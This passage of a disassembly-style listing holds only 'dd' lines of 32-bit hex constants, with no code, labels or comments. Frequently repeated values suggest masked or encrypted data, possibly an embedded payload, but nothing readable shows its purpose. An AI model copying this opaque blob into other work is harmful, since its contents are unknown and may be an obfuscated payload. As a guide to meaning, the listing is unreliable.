		dd 0D6E3681Fh, 116AE25Bh, 10F4118Dh, 49CE9323h,	8832138Eh
		dd 716D9866h, 2D99030Dh, 7068DED1h, 2200F40Eh, 0C554758Ch
		dd 4383ADB9h, 258CAF06h, 57B25F53h, 0F1CD7435h,	2421040Bh
		dd 113E9B69h, 0F3D1566h, 44321560h, 22329569h, 963D1566h
		dd 8832156Eh, 44309C69h, 43521566h, 2B9F90EBh, 0F3D1375h
		dd 44321567h, 0DAE2EA93h, 855B90EFh, 84DB137Ch,	15321566h
		dd 0ABD108E0h, 0E760B0B6h, 4EE9A013h, 5723F4E3h, 4ACE5660h
		dd 95C3B951h, 3547593h,	0B88873B8h, 97CD746Ch, 1721040Bh
		dd 88269669h, 4BDB1566h, 8C321566h, 0BCE73E57h,	88B708EEh
		dd 94710577h, 445279B9h, 0A43825DCh, 0DBF74EAh,	42212FCBh
		dd 0F2CDEC9Fh, 7CB79C9Eh, 87340FF2h, 443214EAh,	0A352E066h
		dd 6AD770A1h, 8837FD32h, 75EE1566h, 7401E16Fh, 0D7534E38h
		dd 9B23F4E3h, 2CCB5A60h, 0B50785B2h, 1132068Fh,	76B4F566h
		dd 978111A0h, 7BCAFBAh,	7B8A3C38h, 0DB2838B7h, 555FA099h
		dd 75521375h, 70694A31h, 0B29F90EBh, 0BBCA1375h, 0A7BBE9B6h
		dd 17288117h, 88339469h, 82C71566h, 3123F4E3h, 77525A60h
		dd 0EEF245DCh, 25840ED8h, 4C3C170Eh, 0AA54759Fh, 0F3DE695h
		dd 44321566h, 4F87EA07h, 1E340677h, 883218E9h, 443AFC66h
		dd 207E1566h, 152DABD0h, 0DBF1A1Ch, 42212FCBh, 21B91A06h
		dd 91321566h, 46B9C9BBh, 9FB37507h, 2A158064h, 0EE53E7EDh
		dd 35475B6h, 25CC9E9Dh,	0B64790EFh, 0D7CA137Ch,	9B23F4E3h
		dd 4ADB5860h, 60321566h, 3DA3571Eh, 62382192h, 0F53A5F7Ch
		dd 5B7B7DC8h, 9E3DDD51h, 8832156Eh, 44309069h, 43521566h
		dd 5FA099h, 0C3D1375h, 4432156Fh, 447AA406h, 0AA10C6E7h
		dd 25B79807h, 4B34065Ch, 223214EBh, 0C1CDE966h,	6CC39406h
		dd 0B868776Dh, 5FB79C07h, 71340FF2h, 0F3833EDCh, 41DB4753h
		dd 8B321566h, 3C5DF15Dh, 0DF47438h, 42210487h, 0E68A752Bh
		dd 1E7B8AFDh, 0E053EBD9h, 98C558EFh, 223A9869h,	953D1566h
		dd 88321564h, 0F1CD7406h, 2421040Bh, 113E9169h,	43D1566h
		dd 44321560h, 22329C69h, 94BF1566h, 8E212FCBh, 4432138Fh
		dd 9DF69A66h, 0EE72D4EAh, 883CFCB6h, 0A4631566h, 81E0BF35h
		dd 9E9280D9h, 655C021Bh, 44321B8Fh, 0BF941866h,	0E8FA4DF2h
		dd 0D0458144h, 0CDA429B3h, 38A66CE3h, 94F4E960h, 8E210487h
		dd 735AE933h, 0CBAE0E4Bh, 11321572h, 666EACB3h,	0FDDA89BCh
		dd 3C79FC0Fh, 9FA1A8FEh, 0B8C472BAh, 555FA099h,	2D521375h
		dd 7761DDD9h, 0E96DDAEDh, 7E9F90EBh, 0A13D1375h, 11321570h
		dd 8832048Fh, 0BB613666h, 0CD3D4C9Bh, 35D920B9h, 9AF26373h
		dd 94CDE25Dh, 710AB06h,	0A63D104Ch, 0DBB74A1h, 422881E7h
		dd 2238FC06h, 0F7E31566h, 0FE858F56h, 0E8460054h, 0CCABC3E7h
		dd 0F853403Fh, 88321575h, 3996579Bh, 0CC5ECE08h, 90EEC54Ch
		dd 0E296D4EEh, 823402E3h, 3123F4E3h, 17DB5660h,	57321566h
		dd 92F91F91h, 0D2187DE7h, 0AE52C7B3h, 0B1192F90h, 0BB53AAD2h
		dd 312378D3h, 94BFEC60h, 8E212FCBh, 0CAFFAD06h,	33DB4AC7h
		dd 0E1321566h, 631A0CBh, 1E2B1CAAh, 85591158h, 0C316741h
		dd 61E2EA07h, 44321560h, 61806351h, 94BB885Ch, 8E2881E3h
		dd 0A5B7D39Eh, 70340677h, 14B01A06h, 0EE321566h, 5023F2E7h
		dd 2232068Eh, 0B885D666h, 49D14066h, 2B19760Bh,	0C886466Ch
		dd 651E04E2h, 0ACACAA00h, 0AE5A7439h, 0CBCF57D2h, 11321563h
		dd 4944E140h, 2987EAECh, 2D340677h, 113219E2h, 8EB81A66h
		dd 4B321566h, 223215ECh, 9E3D7566h, 88321568h, 44321C8Fh
		dd 0CF6B6E66h, 74A22F7Ah, 4AB9B56Fh, 0E9B79807h, 4234065Ch
		dd 43C79537h, 0D8D733Fh, 4BDB7437h, 5B321566h, 8E771085h
		dd 0DCF38D34h, 22144753h, 0F2CDB73Fh, 113D9769h, 82DB1566h
		dd 63321566h, 306A3B96h, 66C48185h, 0E9B79CFCh,	24340668h
		dd 43EA9400h, 0C3851A47h, 87CA7507h, 443215E3h,	0A7F47466h
		dd 17210487h, 115AE021h, 0BCD08D3Fh, 335FA099h,	77521375h
		dd 8C45CDE7h, 4432078Fh, 34CF3F66h, 9CF85EE3h, 43B6410Ch
		dd 61E4929Eh, 437DFEB0h, 2B9F90EBh, 77CA1375h, 0FD6375B6h
		dd 622597EBh, 0A2B1AA38h, 1530AF5h, 5EA69CE3h, 2D527560h
		dd 113215E9h, 0E9F99E66h, 0A5B7D307h, 65340677h, 48657506h
		dd 7053CAEDh, 24F07D07h, 0A23DA49Bh, 11321567h,	0E587EA9Ah
		dd 0BC340677h, 8FB7989Eh, 0E934065Ch, 0EE52C599h, 4B1CDBDCh
		dd 223216E7h, 0DE8D1A66h, 5B79C07h, 24340FF2h, 0C3B7D307h
		dd 56340677h, 88321B8Fh, 81479366h, 1A6F5F97h, 0F2C47DEAh
		dd 0E0B375BEh, 9B94EB72h, 0CAB37306h, 0A854DE94h, 7753F13Fh
		dd 572378D3h, 223BFC60h, 97A01566h, 0AD56767Eh,	0C9CFC92Ah
		dd 3108B8E3h, 0C1CDE060h, 88379969h, 4B521566h,	0AB53D5D9h
		dd 0BA684E3h, 82DB7560h, 0DC321566h, 0E52DE23Ch, 3672E61Ah
		dd 883CFDD3h, 0E3D81566h, 45FA332Ah, 7048EBB4h,	4ECD83EFh
		dd 1F1CC3E6h, 0C3B7D307h, 4E340677h, 7FDC9406h,	255DB72Eh
		dd 72C07D0Eh, 0A4CDE0F8h, 8E21040Bh, 44321D8Fh,	21698766h
		dd 0FC385CB2h, 25B798E9h, 2434065Ch, 0F2CD7493h, 113A9269h
		dd 0C3D1566h, 44321564h, 0A7BB7406h, 172881F3h,	8832068Fh
		dd 3A778F66h, 2AC15153h, 7316B726h, 81E868DEh, 42E9ED09h
		dd 33D390A0h, 1E7D1375h, 883201ECh, 443DFC66h, 73471566h
		dd 6C88D032h, 876C46B2h, 7CDFA87Ch, 590D7D5Ah, 9B3DD29Ah
		dd 88321567h, 2987EA9Eh, 42340677h, 0D7B3DFEDh,	0B5567C87h
		dd 0E9B79807h, 2D34065Ch, 113205E2h, 8839FC66h,	0D92C1566h
		dd 0D71820FAh, 0CDFE46E4h, 61E2EA1Bh, 4432156Fh, 4F32446Fh
		dd 24AB0D0Ah, 49B79C63h, 0AD340FF2h, 2232156Fh,	327784CBh
		dd 0CB7097CCh, 0C1F4E06Ch, 24210487h, 1137FC21h, 0B6131566h
		dd 0AD1B5D67h, 2232156Ah, 79583C76h, 0DF45BCD2h, 0C73C2D6h
		dd 795C590Eh, 948B759Ch, 876BC82Ah, 443215EDh, 97CD7466h
		dd 1721040Bh, 8832078Fh, 8F5BAE66h, 0EE258E89h,	69351DA6h
		dd 51305437h, 0C9886B16h, 3108B8E3h, 90527560h,	0DCA5B6BFh
		dd 0BCB97303h, 0F2CD7407h, 1132128Fh, 3F56F066h, 18AC5C76h
		dd 0B6F790EFh, 1EDB137Ch, 0C2321566h, 0ADD1A84Eh, 130ABD5Bh
		dd 7A074AEBh, 0DF4BE70h, 42210487h, 28B21A21h, 71321566h
		dd 88329369h, 25521566h, 6FF7D07h, 0EECED660h, 9B2378D3h
		dd 0C1BFEC60h, 24212FCBh, 0DBB87593h, 0E990F3E6h, 0C43DC599h
		dd 22321567h, 0D8B79C93h, 7D340FF2h, 44369669h,	0DE521566h
		dd 94F4749Ah, 8E210487h, 0F33D7539h, 43D89FB4h,	0AA52D90Eh
		dd 3DCDE9B2h, 4221040Bh, 8FB7989Eh, 0E434065Ch,	53DC599h
		dd 44321561h, 22339769h, 98CE1566h, 92A68CE3h, 0C1F4ED60h
		dd 24210487h, 1122FC39h, 70AD1566h, 2FE91E0Dh, 1347BF2Ah
		dd 0BC6D6026h, 0C65A2B1Ch, 0ADACFC32h, 22321577h, 4572DFA2h
		dd 9BE8EA1Ch, 0F5ADAFC9h, 8902C8DDh, 7C87EA4Eh,	71340677h
		dd 7E9F90EBh, 0DDCA1375h, 1121FCB6h, 6921566h, 0A6AB1A55h
		dd 0D8D35ECCh, 0EBF598CFh
		dd 0BC768D39h, 0D9B79CBCh, 0DA340FF2h, 0D390A0h, 876D1375h
		dd 44321DE1h, 20B01A66h, 71321566h, 0A07A7D07h,	4EDBC475h
		dd 45321566h, 979C9C8Fh, 6516964Ah, 2987EA9Fh, 0DB340677h
		dd 2B9F90EBh, 0E8521375h, 4FDB7493h, 21321566h,	0E8A6E927h
		dd 479ECC70h, 0BB535E88h, 2220FCB6h, 48F71566h,	1CAE53A1h
		dd 4E27C53Fh, 3E9B1E87h, 0E5E5D830h, 1C9390EFh,	4B52137Ch
		dd 223213E1h, 11BD1A66h, 0E9321566h, 2CCE110Ch,	22320566h
		dd 1327D93h, 87521566h,	9AB9EFD9h, 0DB327F07h, 0C9B8099h
		dd 43D1375h, 44321573h,	223D9C69h, 1BDB1566h, 36321566h
		dd 828E716Ah, 0BCE9E5DCh, 0CB79C58h, 0E8340670h, 44349A69h
		dd 0A33D1566h, 11321566h, 0E9E49E00h, 3BEF90EBh, 0DDC7137Ch
		dd 3BE1AB6h, 61321566h,	4432156Bh, 172206F3h, 0EA528720h
		dd 64B1219Dh, 0BD367FC6h, 2222150Eh, 115AED66h,	87321546h
		dd 44321FEDh, 0C3B27566h, 0DEB37309h, 0E253B2FCh, 0D1CDEC66h
		dd 242108CFh, 15B61A06h, 0EE321566h, 0C480ECD8h, 2D5308BBh
		dd 113214EBh, 0DBBED66h, 42210B93h, 22321A8Fh, 0D7EF066h
		dd 622DF1CDh, 39B20D3Bh, 0D6A579B4h, 1F8B90EFh,	0C3D1375h
		dd 4432157Fh, 2232018Fh, 0AEAE8A66h, 0FB0EF572h, 3651ABD4h
		dd 0D25D1C1h, 0CD066387h, 0E8727FA3h, 0B7F4CDDCh, 0FB851A7Eh
		dd 1327D07h, 61521566h,	44321574h, 5DCAC669h, 6847775Dh
		dd 5375F7C2h, 0C61148F1h, 2BDA0BA7h, 46321566h,	0B4B2C461h
		dd 165E6AF5h, 4A534E9Fh, 11331566h, 88339569h, 2ECE1566h
		dd 70C77566h, 84CD743Ch, 8E2108CFh, 4432108Fh, 8F722C66h
		dd 1ADB05E3h, 57321566h, 5C125F44h, 7FF6708Bh, 94BBBEE4h
		dd 8E211977h, 0FB547506h, 44537295h, 9A53DFEDh,	9B2D24D3h
		dd 4422FC60h, 0BA2E1566h, 28DA43Dh, 31950804h, 466A6B78h
		dd 0BFB9152Ch, 1721052Fh, 1879C9Fh, 2434067Fh, 0EA685ADFh
		dd 8CBB745Dh, 8E2103F7h, 442A9C69h, 2D521566h, 113215E8h
		dd 8839FC66h, 807A1566h, 3B03D9F0h, 3DCDE9D4h, 15B9740Ch
		dd 4221052Fh, 24B81A06h, 1E321566h, 883215E3h, 4422FC66h
		dd 0FDD11566h, 1C4807FFh, 0FABBF00Fh, 0D9920603h, 0DA5321D8h
		dd 1130120Eh, 0AC269C66h, 443215DCh, 0A9E81466h, 77524F6Ch
		dd 0F44CF7E7h, 22537506h, 503DDAE7h, 9C3D7407h,	8832156Ah
		dd 44349A69h, 0A23D1566h, 11321566h, 8732ECE5h,	4405BEE2h
		dd 0E1B97566h, 6719AB00h, 6FBB4207h, 4436D2E7h,	0CDB11566h
		dd 350E9262h, 0AC369C3Ah, 4438FD06h, 88AA1566h,	0FC94C8CFh
		dd 444B9815h, 4BDB4A93h, 7E321566h, 4E938417h, 0A56DE05Fh
		dd 129EDF6Eh, 7553E67Bh, 0D6B3F2EFh, 88321562h,	0C336FAE5h
		dd 0AB6E315Ah, 963D316Ah, 88321567h, 0C452759Eh, 2EDBFBA6h
		dd 55321566h, 0FE9401D3h, 0D9807535h, 43E5602Eh, 98C7D557h
		dd 9B19D0E3h, 0FC62EC60h, 2232155Ah, 15B9D3EFh,	8CF69442h
		dd 0AD321566h, 22321569h, 0E5197F8Ch, 0A1C00943h, 0A3DFC7C2h
		dd 0A38C3048h, 0DC4BC6A0h, 0CADC946Eh, 474E5A5Eh, 0A3123112h
		dd 5E0A57A0h, 5BDC941Ah, 4B3AD81Fh, 22321BEEh, 113BFC66h
		dd 98E71566h, 0C51452A1h, 4450E1D4h, 0AA61ECCBh, 0DE665A5Bh
		dd 4769CD4Fh, 27123122h, 47665A5Bh, 37D79F06h, 6912142Bh
		dd 5A894607h, 10321566h, 3019EA5h, 80B3317Ah, 22321562h
		dd 11339569h, 9CE1566h,	0A1760DA0h, 28F4940Eh, 1255EF37h
		dd 9123112h, 0BE631F88h, 3ADC9401h, 1E5AF022h, 883214EEh
		dd 0FC62EC66h, 2232157Eh, 76DB063h, 0A5C2147Ch,	5E244AC3h
		dd 0DA6A2DEDh, 1633A8EFh, 87521375h, 443213E3h,	22B11A66h
		dd 0E4321566h, 87CD9007h, 443221E3h, 9CDAE066h,	1E321538h
		dd 883219E9h, 42BC1A66h, 2D321566h, 113215ECh, 8C8DFC66h
		dd 56DB1566h, 0CC321566h, 0A32BA1Fh, 0D0D3AC56h, 533730E9h
		dd 67C61EE0h, 20967D4Eh, 84BB1566h, 4DBC1A42h, 42321566h
		dd 77F09E00h, 0E9DFB9DEh, 4432E00Eh, 60E9C66h, 0C359ED3Ch
		dd 93B31A62h, 4B321566h, 223200EDh, 1122FC66h, 7ECE1566h
		dd 0EEF64989h, 8C75EA7Bh, 3E646B92h, 1DBB4F10h,	42211043h
		dd 22339B69h, 7BCE1566h, 8826FC62h, 62861566h, 8900F146h
		dd 1EFA4B44h, 0CBDD1682h, 0CCE46507h, 225A23FAh, 1E321576h
		dd 883205E3h, 43DB7566h, 51321566h, 0F11F320Eh,	0E952FB39h
		dd 0A2BB4307h, 2236D3E7h, 0FFB11566h, 0AC069262h, 60269C3Ah
		dd 0CB327F9Fh, 11321576h, 8DD9A174h, 7D1BA4FBh,	7FC17229h
		dd 56346CC1h, 959B8099h, 54DB1375h, 2F321566h, 5516B906h
		dd 86D8B366h, 0F9AB05C1h, 0AB9B09CCh, 23F3CE3h,	952E060h
		dd 1D297BA5h, 41E99457h, 701101DFh, 88294E0Eh, 60369C66h
		dd 0BB1621E7h, 4B1A331Fh, 0F1ABE7E7h, 55DB3D40h, 30321566h
		dd 5AFC7539h, 40521C43h, 0CE183D77h, 0F21B33B9h, 461619EDh
		dd 4FB3F2EFh, 44321562h, 0A536D2E5h, 716E315Ah,	6E1DAB00h
		dd 44349F69h, 0A93D1566h, 11321566h, 8837FC07h,	3D5D1566h
		dd 0CA1DC298h, 1132482Bh, 883C9D69h, 4DDB1566h,	10321566h
		dd 767C900Dh, 0BB44A2Eh, 44361F0Eh, 6069C66h, 1EB81A06h
		dd 61321566h, 4432156Ch, 576F9CE0h, 0A014A2ACh,	25531CFAh
		dd 44339769h, 75CB1566h, 0F17838D9h, 0D7CA1459h, 60165165h
		dd 0C278384Bh, 19B11A59h, 87321566h, 443217EFh,	0A1537566h
		dd 15BB118Ah, 0D76A4242h, 443DFD06h, 9ED11566h,	88E238B1h
		dd 82EED69Bh, 112E03C4h, 2234FC41h, 35441566h, 7E5D5290h
		dd 46B51A38h, 0A9321566h, 4264749Eh, 56BBEEEFh,	1AC19C3Dh
		dd 0C2BB459Fh, 11321163h, 8CDA9666h, 181611E1h,	0CB1629EFh
		dd 11321561h, 2F0DD680h, 244C81EDh, 2DF22507h, 113202EEh
		dd 7C817566h, 44321B8Fh, 7322BA66h, 12C68C4Fh, 0B15E0919h
		dd 251E2C52h, 42CF60C8h, 11BE1A9Fh, 0E9321566h,	6006EA93h
		dd 26F69438h, 1E321566h, 883214E4h, 83B3E966h, 487608A9h
		dd 636CFAE7h, 571B16B5h, 366CD2E7h, 0CDB316B5h,	7B7608A9h
		dd 88369369h, 14521566h, 0E85A743Eh, 98321551h,	0D9C73172h
		dd 8EBBECEFh, 0A31619EDh, 113211A2h, 8826FC66h,	89E41566h
		dd 45633331h, 0F77A0DF3h, 9F8EB66Fh, 0FF524791h, 9FB92934h
		dd 1721037Bh, 77CDAC9Eh, 4DDBEA99h, 1D321566h, 0D24AEC28h
		dd 8E10160Fh, 2252D557h, 43CBE5EDh, 1132AE35h, 7B331566h
		dd 4432AC37h, 0FB331566h, 4A6B14ECh, 88321C8Fh,	516E7B66h
		dd 48119018h, 0D90216CCh, 59851A06h, 0FC62749Fh, 22321567h
		dd 0E86AD367h, 3B52199h, 80B13162h, 0CB527562h,	1132156Ch
		dd 0A93BD137h, 1DAEF473h, 1483B5AEh, 0F8F37407h, 4903E96Eh
		dd 44321E8Fh, 0E7EE2166h, 0F9EE7C14h, 0C953179Fh, 0CDB71A2Ch
		dd 0DBCDEA99h, 35369E37h, 8836D1E7h, 14CA1566h,	0D5684D34h
		dd 1E5287B4h, 883203EEh, 4423FC66h, 0D9741566h,	0E140F737h
		dd 41D95DE5h, 0ABFDA6C6h, 0A8E71A79h, 5B97488h,	6ABB4742h
		dd 4436D7E7h, 0E0B11566h, 35269262h, 80DBED3Ah,	53321566h
		dd 4564B312h, 79B7E7E6h, 88326A36h, 0CB1611EFh,	9A62ED64h
		dd 11321562h, 0C2EEFFE7h, 86330265h, 68EED7E7h,	1E6A0265h
		dd 883200E5h, 0F98B7566h, 0CA74EF8Eh, 1132156Eh, 0FEE8DD45h
		dd 9B8AB139h, 0AA5A743Eh, 98321510h, 0A3D3172h,	4432156Fh
		dd 22BD1A06h, 0ED321566h
		dd 4DB7EA07h, 0AD34064Dh, 22321575h, 0EC8659FBh, 0C58D9E56h
		dd 89CF1E93h, 34F85F8Ah, 0E9D4DAD2h, 0A3F780EDh, 7DCA1375h
		dd 313514F3h, 63B61A60h, 7D321566h, 171601EDh, 0E1B3F6EFh
		dd 11321562h, 0F36D6E5h, 4B6E317Ah, 223214E3h, 25CDEC66h
		dd 4CB34B42h, 44321562h, 22321B8Fh, 0FA3B2B66h,	0FDD8B29Eh
		dd 3DEEBD17h, 7319303Bh, 113211DFh, 96DC9466h, 453A8420h
		dd 3CF494A8h, 483A8420h, 738D1A06h, 3E24AE00h, 0DF34FC07h
		dd 9A3DEA99h, 88321577h, 4432198Fh, 0D79A8566h,	9170149Eh
		dd 0B20D3561h, 6006EAB7h, 26F6943Ch, 0F8321566h, 88321575h
		dd 0E0B7ACAAh, 0BB512EC8h, 0FCDE4B78h, 55E910F7h, 0BBF65BF6h
		dd 0A36C3152h, 113211A2h, 86BE1A66h, 24321566h,	22329A69h
		dd 9C3D1566h, 88321566h, 0CC3D7407h, 2232156Ch,	52E59406h
		dd 0D935A4A3h, 70CD743Dh, 0E6B14C42h, 1CB31A62h, 0E8321566h
		dd 57D19400h, 6D894DEh,	705A5DE6h, 88339769h, 0CFC71566h
		dd 0AB653162h, 15F59481h, 0B321566h, 78B511A1h,	0E5CB4942h
		dd 233B0E3h, 88321560h,	0C1F5EC66h, 242131AFh, 11321566h
		dd 88321B8Fh, 9459AA66h, 18FCF4B1h, 1E99701Ch, 0B7178C7h
		dd 5EA61CDBh, 0A63D1560h, 11321549h, 883E9A69h,	0CB3D1566h
		dd 22321560h, 11329B69h, 15BF1566h, 422B8CA9h, 2232138Fh
		dd 8589B766h, 70F49908h, 0F452C699h, 0D2B373F1h, 0EE536D6Fh
		dd 9B3714E3h, 82B37560h, 58E605B2h, 1132108Fh, 3C2AB466h
		dd 0C7534A7Fh, 313714DBh, 933D7160h, 88321701h,	45B7D29Fh
		dd 23340663h, 0F8321566h, 88321560h, 0C6F6E19Ah, 0CB52A62Ah
		dd 1132156Ch, 5BA5B4BFh, 8805D226h, 0AC3DA006h,	11321567h
		dd 58B7989Ah, 0AD340F1Eh, 22321574h, 33413930h,	0DBB68970h
		dd 0E1419028h, 0BD8C23F5h, 0C1CD0D33h, 8832058Fh, 0C8AF5B66h
		dd 0EAB5EF39h, 0CF734068h, 4664705h, 4421FC22h,	5D981566h
		dd 214BCC9Bh, 0B7392A51h, 2DB584D9h, 0C69DAB9h,	0C88798F7h
		dd 0E8340FF2h, 44321C8Fh, 0B0E2D566h, 36AC777Ch, 553B1D5h
		dd 5F2F48DBh, 0EAB37560h, 3AEFE474h, 0E9EAAA69h, 4432108Fh
		dd 414D6566h, 0D6B3961Bh, 0A76453C9h, 6AFBD2E7h, 0D51B29DEh
		dd 3FFBFAE7h, 67B329DEh, 6B6453C9h, 223AFD06h, 0C9A81566h
		dd 0A1B9DFF7h, 0F78D6E25h, 7D44E7AFh, 0E9BB4507h, 1F39C37h
		dd 246A4CACh, 7BB5C7E7h, 70CA5210h, 9E2FA8EDh, 22521375h
		dd 0F5B3D4EDh, 42627F34h, 77CDAC07h, 75C7EA99h,	9860EDA6h
		dd 11321566h, 0E1C3D7E7h, 0B6334907h, 4BC3FFE7h, 13B84907h
		dd 4002E93Ch, 0FAC19406h, 0CA7C4307h, 1132156Ch, 272A673Ch
		dd 1DA5620Fh, 2BDA9EA7h, 3E321566h, 84D251E2h, 6005080h
		dd 73534E3Ch, 0EECDEADFh, 0D1FC3C99h, 0C306EA9Eh, 0A11611EDh
		dd 9C3D11A2h, 88321571h, 443CFC06h, 0D7E21566h,	2A06E656h
		dd 0FD3300A7h, 4CD7BB00h, 0E353D3EDh, 0F9521D8Fh, 8832156Eh
		dd 74F0CE52h, 4507A600h, 488FDCE6h, 61F32407h, 44321569h
		dd 0D8F598CFh, 25768D39h, 40AEAFBCh, 0E06E5EBh,	0DD6B9069h
		dd 43C7EA99h, 0D060DFEFh, 45B61A3Ch, 0DA321566h, 11385B0Eh
		dd 0AC369C66h, 1C160191h, 2232188Fh, 0BFC6CB66h, 32A49FADh
		dd 16613D46h, 0A70BD8C2h, 17210023h, 884F9169h,	12CA1566h
		dd 2E2C2CD8h, 0FDDC947Eh, 964CE03h, 5F6BA388h, 0A3E4E208h
		dd 7EB2F688h, 7EB35B25h, 0E7539C4h, 35B9E3E7h, 0C7C57471h
		dd 6C60E3E7h, 0B4BBA8B2h, 29CEE938h, 3EB71AA6h,	61321566h
		dd 44321572h, 57A7F7D4h, 0C569D8F4h, 286BD1C7h,	14DF50C5h
		dd 3440D5F0h, 2BB90A1h,	88331375h, 0FA521566h, 6AFD654Fh
		dd 0D38D1A30h, 4F5A743Dh, 0CD321505h, 988D315Ah, 1032243Fh
		dd 0E9CE4A9Fh, 44339269h, 4ACA1566h, 11327044h,	321601EFh
		dd 3D060F6Fh, 0CB68C4EFh, 1132156Bh, 26194169h,	0EFE145B6h
		dd 0C6C856Bh, 51677D38h, 84BB1566h, 0BB79AC42h,	0E8BB3E6Ch
		dd 16B21A3Fh, 87321566h, 443214E5h, 4452E066h, 0AD99D2E7h
		dd 0E927E0E6h, 5CBE1ACBh, 2D321566h, 113207EEh,	883FFC66h
		dd 212A1566h, 1FB53067h, 110E0A40h, 1BA5508h, 572B9CD3h
		dd 953D7560h, 328C73A0h, 8DDB740Eh, 47321566h, 2CC408CDh
		dd 86BAE35h, 43B30EF8h,	162C09E0h, 23AAD6E7h, 0F2B37D22h
		dd 9E5E55E9h, 4435E6E7h, 7CBB1706h, 352E9E9Ah, 8736D1E5h
		dd 443214E5h, 0CC0FE066h, 1EDCFB88h, 8832DDE3h,	0FA527566h
		dd 56191F55h, 70524207h, 9CE7438h, 99EFC858h, 8CB71ABBh
		dd 1E321566h, 883214E8h, 2C65E066h, 3C7B2D4Ah, 901629EDh
		dd 883211A2h, 41DDD466h, 0D5B3C291h, 642F099Bh,	0DD0FD2E7h
		dd 7ABB6089h, 34BF1A39h, 71321566h, 8832188Fh, 0A4F67766h
		dd 77C0A5EAh, 0D317AFBBh, 0D763BD6Ch, 408B4407h, 0A3321566h
		dd 709E488h, 9FC1407h, 5209E4A0h, 44524C07h, 91B222DEh
		dd 153F4B7h, 572B9CD3h,	2BDB7560h, 88321566h, 857B844Fh
		dd 0BCBC82D0h, 22BB1A06h, 91321566h, 0E953658Ch, 6F87FC9Eh
		dd 33DB1566h, 0A3321566h, 0D7042777h, 3486B402h, 0E53D34A5h
		dd 6AC3118Ah, 77CC938Fh, 46B51A99h, 42321566h, 0D0BB4407h
		dd 616B4E37h, 4432156Ch, 0B9586F97h, 0B0B14266h, 87DB177Fh
		dd 45321566h, 0AF3F433Ah, 0B0C11E05h, 95DC9C4Fh, 0C1016A7Dh
		dd 242106EFh, 0F25CAD06h, 49530CE9h, 41CB16AEh,	66A6735Dh
		dd 0AE65C54Fh, 0CCA6735Dh, 246DED4Fh, 92C39400h, 70FD9E9Ah
		dd 8722D5A7h, 443214E7h, 0EA03EC66h, 98AF9C9Eh,	61340675h
		dd 4432156Ch, 3E0012C4h, 8BDBB3F7h, 880FEDA0h, 4B321466h
		dd 22334DE5h, 1135FC66h, 65C91566h, 0B0F0A2D0h,	990C9494h
		dd 1E89AEDDh, 883355E3h, 5CB31A66h, 42321566h, 2A1C04DEh
		dd 8839FD3Ah, 33C21566h, 18A76C02h, 454E8F99h, 0D9534E60h
		dd 233DAD36h, 0FAC52B28h, 1C34FDA7h, 0B4F83657h, 752A9863h
		dd 7AF39CA6h, 0E96B1BEFh, 94894633h, 0B335CB0Dh, 0E37156BDh
		dd 0D2B31D85h, 56590F62h, 4569C8EFh, 9C524888h,	58A3416Fh
		dd 0FE99C4E7h, 0CD534C22h, 312B9CD3h, 90547560h, 871DEB6h
		dd 0CF53BC94h, 31225CFBh, 22CDE060h, 0B1619EDh,	4CDB11A2h
		dd 0F2321566h, 154FFF59h, 7D6B2806h, 60269E36h,	2236D1E7h
		dd 0A9521566h, 0B8E38D91h, 0B852E907h, 0F4BB4333h, 986CE0EFh
		dd 0A3CB488Eh, 572FA4E3h, 23BF1A60h, 0E8321566h, 7D30F5A7h
		dd 5D679065h, 28DB1375h, 9F321566h, 1BFF4F28h, 3685F3F8h
		dd 7A644515h, 921621EDh, 0EE5211A2h, 4B1103DEh,	22321AE5h
		dd 1138FC66h, 0C7C61566h, 4F6D360Eh, 741E9E79h,	0F852B807h
		dd 88321560h, 126975Ah,	0A95430EEh, 441F74A9h, 8D20293Eh
		dd 37EB390Fh, 4B1FDD67h, 1441CC4Ah, 9A0E4D33h, 44339669h
		dd 0ABCA1566h, 0E92E3122h, 2DDBEC07h, 24321564h, 1969F7E7h
		dd 0DEB36E88h, 0BE139084h, 9997D07h, 2EBB1566h,	9861E942h
		dd 8CF19485h, 0C7321566h, 3EB5118Dh, 5BB4942h, 0EE627542h
		dd 256DE4EDh, 0A9CBDC57h, 23F3CF3h, 89B51A60h, 0B1321566h
		dd 2220FC06h, 37E11566h, 0A48D31A3h, 0EB52934Ch, 710D5A67h
		dd 0FDA25EFDh, 0E9E1D9E6h, 0C03D175Dh, 223215C0h, 11209369h
		dd 85DB1566h, 0BF321566h, 1EFB1A85h, 1B3144ECh,	78DEA609h
		dd 908B7306h, 43EA9E7Dh, 1136AA31h, 4AB31566h, 52B850CAh
		dd 0C8B3EF67h, 7B850CAh
		dd 9BBA1A39h, 0AD321566h, 22321568h, 1DB92AD1h,	6945F645h
		dd 0B4E34208h, 9F67964Eh, 11321567h, 7D6FFC67h,	4333985Dh
		dd 0A73D1375h, 0EECDEAF2h, 88339169h, 24CE1566h, 8535AE00h
		dd 0DCE302DCh, 0CB8A740Bh, 1157972Eh, 0B841EEDBh, 4CDA3402h
		dd 4074404Bh, 71EAE258h, 582A41AAh, 0B09F3763h,	89B11A39h
		dd 0BC321566h, 6DBF98EBh, 0EEC71375h, 5BBE087h,	42213EA3h
		dd 0D3851A06h, 35269E07h, 9D39C37h, 443211A7h, 26F39466h
		dd 96321566h, 706E316Ah, 111619EDh, 0E7B3F0EFh,	11321562h
		dd 0F36D0E5h, 4B6E314Ah, 22320FEDh, 5B81A66h, 61321566h
		dd 44321569h, 0D35A18F5h, 4E3CC771h, 0C77EEB2Ah, 0BC1D8D36h
		dd 2221470Eh, 35069C66h, 29897306h, 4426FCB3h, 0B8C51566h
		dd 90BAD4E2h, 0FE9658DAh, 51299657h, 0C899AF45h, 0E8537637h
		dd 987B88EDh, 0AD521375h, 22321560h, 0BEB456B8h, 0D853B3B1h
		dd 443215DEh, 0DDEA1466h, 351E9456h, 0CA6321CBh, 0E9F3943Fh
		dd 7A704452h, 113A9269h, 63D1566h, 44321564h, 0A7B97406h
		dd 17213EA3h, 8832128Fh, 0F81DE966h, 84D20B85h,	17DBF5B7h
		dd 65321566h, 3587FE22h, 0F3B7168Eh, 1E340662h,	883212E2h
		dd 45BE1A66h, 0DA321566h, 0F8C4249Eh, 88321561h, 1F97BE8Dh
		dd 722CAF2Ah, 9836F9E5h, 0D66A3152h, 442B9569h,	36DB1566h
		dd 0FB321566h, 0A2A77CBBh, 0A18183B3h, 0FCBACD1Dh, 9EDEF582h
		dd 87CE9F6Fh, 443214E6h, 8F54EC66h, 13D2D49Fh, 883D9769h
		dd 4EDB1566h, 21321566h, 16342C98h, 4183A8F0h, 11B71658h
